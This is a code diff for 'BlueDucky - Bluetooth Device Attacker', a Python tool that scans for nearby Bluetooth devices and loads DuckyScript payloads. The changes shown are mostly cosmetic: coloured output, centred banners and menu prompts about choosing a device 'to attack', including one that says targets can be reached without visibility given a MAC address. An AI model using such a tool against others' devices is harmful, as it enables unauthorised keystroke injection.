+ blue = "\033[94m"
+ error = "\033[91m"
+ reset = "\033[0m"
+ print(f"{blue}{idx + 1}{reset}: Device Name: {blue}{name}, Address: {blue}{addr}")
- use_known_device = input("\nDo you want to use one of these known devices? (yes/no): ")
+ blue = "\033[94m"
+ error = "\033[91m"
+ reset = "\033[0m"
+ use_known_device = input(f"\n{reset}Do you want to use one of these known devices{blue}? {blue}({reset}yes{blue}/{reset}no{blue}): ")
if use_known_device.lower() == 'yes':
- device_choice = int(input("Enter the number of the device: "))
+ device_choice = int(input(f"{reset}Enter the index number of the device to attack{blue}: "))
return [known_devices[device_choice - 1]]
# Normal Bluetooth scan
- print("\nAttempting to scan now...")
+ blue = "\033[94m"
+ error = "\033[91m"
+ reset = "\033[0m"
+ print(f"\n{reset}Attempting to scan now{blue}...")
nearby_devices = bluetooth.discover_devices(duration=8, lookup_names=True, flush_cache=True, lookup_class=True)
device_list = []
if len(nearby_devices) == 0:
- print("\nNo nearby devices found.")
+ print(f"\n{reset}[{error}+{reset}] No nearby devices found.")
else:
print("\nFound {} nearby device(s):".format(len(nearby_devices)))
for idx, (addr, name, _) in enumerate(nearby_devices):
@@ -133,31 +137,45 @@ def scan_for_devices():
known_devices += new_devices
save_devices_to_file(known_devices)
for idx, (addr, name) in enumerate(new_devices):
- print(f"{idx + 1}: Device Name: {name}, Address: {addr}")
+ print(f"{reset}{idx + 1}{blue}: {blue}Device Name{reset}: {blue}{name}{reset}, {blue}Address{reset}: {blue}{addr}")
return device_list
+def getterm():
+ size = os.get_terminal_size()
+ return size.columns
+
+
def print_menu():
+ blue = '\033[94m'
+ reset = "\033[0m"
title = "BlueDucky - Bluetooth Device Attacker"
- separator = "=" * 70
- print("\033[1;35m" + separator) # Purple color for separator
- print("\033[1;33m" + title.center(len(separator))) # Yellow color for title
- print("\033[1;35m" + separator + "\033[0m") # Purple color for separator
- print("\033[1;32m" + "Remember, you can still attack devices without visibility..." + "\033[0m")
- print("\033[1;32m" + "If you have their MAC address" + "\033[0m")
- print("\033[1;35m" + separator + "\033[0m") # Purple color for separator
+ vertext = "Ver 2.1"
+ motd1 = f"Remember, you can still attack devices without visibility.."
+ motd2 = f"If you have their MAC address.."
+ terminal_width = getterm()
+ separator = "=" * terminal_width
+
+ print(blue + separator) # Blue color for separator
+ print(reset + title.center(len(separator))) # Centered Title in blue
+ print(blue + vertext.center(len(separator))) # Centered Version
+ print(blue + separator + reset) # Blue color for separator
+ print(motd1.center(len(separator)))# used the same method for centering
+ print(motd2.center(len(separator)))# used the same method for centering
+ print(blue + separator + reset) # Blue color for separator
def main_menu():
clear_screen()
print_fancy_ascii_art()
print_menu()
+
def is_valid_mac_address(mac_address):
# Regular expression to match a MAC address in the form XX:XX:XX:XX:XX:XX
mac_address_pattern = re.compile(r'^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$')
return mac_address_pattern.match(mac_address) is not None
# Function to read DuckyScript from file
-def read_duckyscript(filename='payload.txt'):
+def read_duckyscript(filename):
if os.path.exists(filename):
with open(filename, 'r') as file:
return [line.strip() for line in file.readlines()]
@@ -172,3 +190,19 @@ def load_known_devices(filename='known_devices.txt'):
return [tuple(line.strip().split(',')) for line in file]
else:
return []
+
+
+title = "BlueDucky - Bluetooth Device Attacker"
+vertext = "Ver 2.1"
+terminal_width = getterm()
+separator = "=" * terminal_width
+blue = "\033[0m"
+reset = "\033[0m"
+
+print(blue + separator) # Blue color for separator
+print(reset + title.center(len(separator))) # White color for title
+print(blue + vertext.center(len(separator))) # White blue for version number
+print(blue + separator + reset) # Blue color for separator
+print(f"{reset}Remember, you can still attack devices without visibility{blue}.." + reset)
+print(f"{blue}If you have their {reset}MAC address{blue}.." + reset)
+print(blue + separator + reset) # Blue color for separator